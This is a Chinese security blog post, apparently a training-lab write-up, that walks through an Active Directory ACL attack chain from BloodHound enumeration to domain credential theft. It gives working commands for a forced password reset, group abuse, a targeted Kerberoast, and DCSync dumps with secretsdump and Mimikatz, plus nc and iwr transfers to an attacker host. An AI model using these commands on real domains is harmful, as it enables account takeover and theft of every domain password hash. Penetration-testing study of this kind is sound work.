freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

AD域内网渗透学习——ACL攻击链
jzhoucdc 2025-03-28 09:19:45 163397
所属地 四川省

记录自己在学习AD域ACL攻击中的一个靶机案例复现,展示了从ACL的枚举到利用,一个完整的攻击链。

1. ACL概述

ACL全名为访问控制列表(Access Control List),每一个ACL由多个ACE(访问控制条目,Access Control Entries)构成。ACL主要为两大类:自主访问控制列表(DACL,Discretionary Access Control List)和系统访问控制列表 (SACL,System Access Control Lists) 。

AD域中包含大量的ACE权限设置,从攻击者的视角来看,对以下几种比较感兴趣:

  • GenericAll: 对象的全部权限
  • GenericWrite: 编辑对象的某些属性
  • WriteOwner: 更改对象的所有权
  • WriteDACL: 编辑对象的ACE并应用
  • AllExtendedRights: 更改密码、重置密码等
  • ForceChangePassword: 更改对象密码
  • Self (Self-Membership): 将自己加入一个组

2. ACL枚举

背景介绍

1.目前拿到初始凭证进入AD域环境,通过Responder获取到wley用户的NTLMv2 哈希值,并通过Hashcat成功破解得到密码明文,并且发现wley用户有RDP的权限。

1743038737_67e4a911678ffdd30bf30.png!small?1743038737893

2.攻击目标是域中另外一个用户adunn,经过后续的枚举发现该用户有DCSync的权限。

通过Bloodhound枚举ACL

先将SharpHound上传到主机,准备收集信息

python3 -m http.server 80

iwr -uri 10.10.14.222/SharpHound.exe -o C:\Users\wley\SharpHound.exe

1742994720_67e3fd20b5f842c3e394d.png!small?1742994721650

然后使用SharpHound收集AD域信息

.\SharpHound.exe -c all

再使用nc.exe将收集的压缩包转移到kali

nc.exe 10.10.14.222 4444 < 20250326061514_BloodHound.zip

nc -lvnp 4444 > 20250326061514_BloodHound.zip

这时候,打开Bloodhound界面,导入压缩包。进行枚举工作:先选择wley用户,并将wley用户设置为起点(starting node)。然后我们查看出站控制权限(Outbound Control Rights)

1742996895_67e4059fcc7fea86813b1.png!small?1742996896473

点击First Degree Object Control,会发现wley用户对Damundsen用户有ForceChangePassword权限,该权限的具体利用方法可以点击help,进行查看。

1742996975_67e405ef51b4267535cb9.png!small?1742996975773

点击Transitive Object Control,可以看见Bloodhound展示了一条利用攻击链。

1742998272_67e40b005a8e2392c7fb3.png!small?1742998272935接着,点击adunn用户,通过上面的一样的方法步骤枚举ACL,发现该用户具有DCSync权限。

1742998438_67e40ba601703352db11c.png!small?1742998438358

3. ACL攻击链利用

攻击链利用步骤思路:

1743003025_67e41d9193365cfcc5bb7.png!small?1743003027255

1. 使用wley用户更改damundsen用户的密码

2. 以damundsen 用户身份,利用GenericWrite权限将damundsen用户添加到HELP DESK LEVEL 1组中

3. 利用INFORMATION TECHNOLOGY嵌套组的权限,使用GenericAll来控制 adunn 用户

第一步:修改damundsen用户的密码

1743038847_67e4a97f95d9957b0b993.png!small?1743038848021

如果没有以wley用户进行rdp登陆,需要进行wley用户的身份验证,如果已经使用wley进行Rdp登陆,则可以跳过这个步骤

$SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

使用Set-DomainUserPassword PowerView函数来修改damundsen用户密码

Import-Module .\PowerView.ps1

$damundsenPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force

Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

1743003548_67e41f9c4aa9631c77174.png!small?1743003548867

密码修改成功,将密码修改成‘Password123!’

第二步:将damundsen用户添加进Help Desk Level 1组

1743039108_67e4aa84eff513d659309.png!small?1743039109340

针对群组的GenericWrite权限允许修改用户组的成员资格。当然,在我们将用户damundsen添加进Help Desk Level 1组之前,我们可以确认一下Help Desk Level 1组的成员,可以用BloodHound快速查看:

1743039310_67e4ab4e5aa33dc16d2bc.png!small?1743039311216

然后可以使用Add-DomainGroupMember函数进行组成员的添加

Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose

1743041072_67e4b230e4ce0ab83ccb4.png!small?1743041073452

根据返回的信息,成功将将damundsen用户添加进Help Desk Level 1组,我们可以使用PowerView来确认一下现在Help Desk Level 1有哪些成员:

Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName

1743041219_67e4b2c35d1e659d2f4f5.png!small?1743041219920

可以看见damundsen用户。

第三步:利用GenericAll权限

1743041413_67e4b385a8b87b1fc977d.png!small?1743041414092

我们可以直接修改该成员的密码,但是根据客户和生产环境要求,这里假定adunn用户是管理员账号,且根据客户要求不允许进行密码强制修改。所以进行Targeted Kerberoast攻击,思路是通过修改该账户的 servicePrincipalName属性来创建一个伪造的SPN,然后通过 Kerberoast 获取 TGS 票据,然后使用 Hashcat进行哈希值破解。

1.创建一个伪造的SPN

Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='nonexistent/BLAHBLAH'} -Verbose

1743042675_67e4b873b9b4c8efdefdf.png!small?1743042676400

2. 进行Kerberoasting攻击

有很多方法可以进行Kerberoasting攻击,这里使用Rubeus工具

.\Rubeus.exe kerberoast /user:adunn /nowrap

1743042906_67e4b95a7301e8826bb0b.png!small?1743042909040

3.将hash值保存到本地进行破解

hashcat -m 13100 ad_hash /usr/share/wordlists/rockyou.txt

1743043281_67e4bad10f63664be5daa.png!small?1743043281551

成功破解到密码明文,我们可以用adunn的身份进行验证,然后执行DCSync攻击。

4. DCSync攻击

什么是DCSync?

DCSync 是一种通过使用域控制器用于复制域数据的内置目录复制服务远程协议。

DCSync is a technique for stealing the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data

要执行该攻击,我们必须控制一个具有执行域复制权限(domain replication rights)的账户(设置了Replicating Directory Changes和Replicating Directory Changes All permissions set权限的用户)。域/企业管理员和默认域管理员默认拥有此权限。

1743044485_67e4bf85dcaa2fa2bfcd6.png!small?1743044486225

方法一:使用impacket-secretsdump

impacket-secretsdump INLANEFREIGHT/adunn@10.129.101.170

1743047879_67e4ccc781c9593dc51ac.png!small?1743047880028

可以加入选项:

1. -just-dc-ntlm:只需要 NTLM 哈希值。

2. -just-dc-user <USERNAME>  : 只提取特定用户的数据。

3. -pwd-last-set : 查看每个账户密码的最后更改时间。

4. -history: 转储密码历史记录。

5. -just-dc : 包含 NTLM 哈希值和Kerberos 密钥

方法二:使用Mimikatz

需要以下条件:

1. 需要在特定账号环境下运行,比如本地管理员

2. 需要在DCSync 权限的用户环境中运行,我们可以使用 runas.exe切换到adunn用户环境

runas /netonly /user:INLANEFREIGHT\adunn powershell

1743049251_67e4d223e1fd229d557d7.png!small?1743049252466

然后,使用Mimikatz执行命令:

privilege::debug

lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

1743049522_67e4d332eae29bf738e84.png!small?1743049524007

5. 清理环境

在完成攻击后,需要清理还原环境,当然顺序很重要,按照如下步骤进行:

第一步,删除在adunn用户创建的伪造 SPN

Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose

第二步,从Help Desk Level 1组中移除damundsen用户

Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose

第三步,将 Damundsen 用户的密码设回其原始值

# ACL # 内网渗透
本文为 jzhoucdc 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
jzhoucdc LV.1
404
  • 1 文章数
  • 0 关注者
文章目录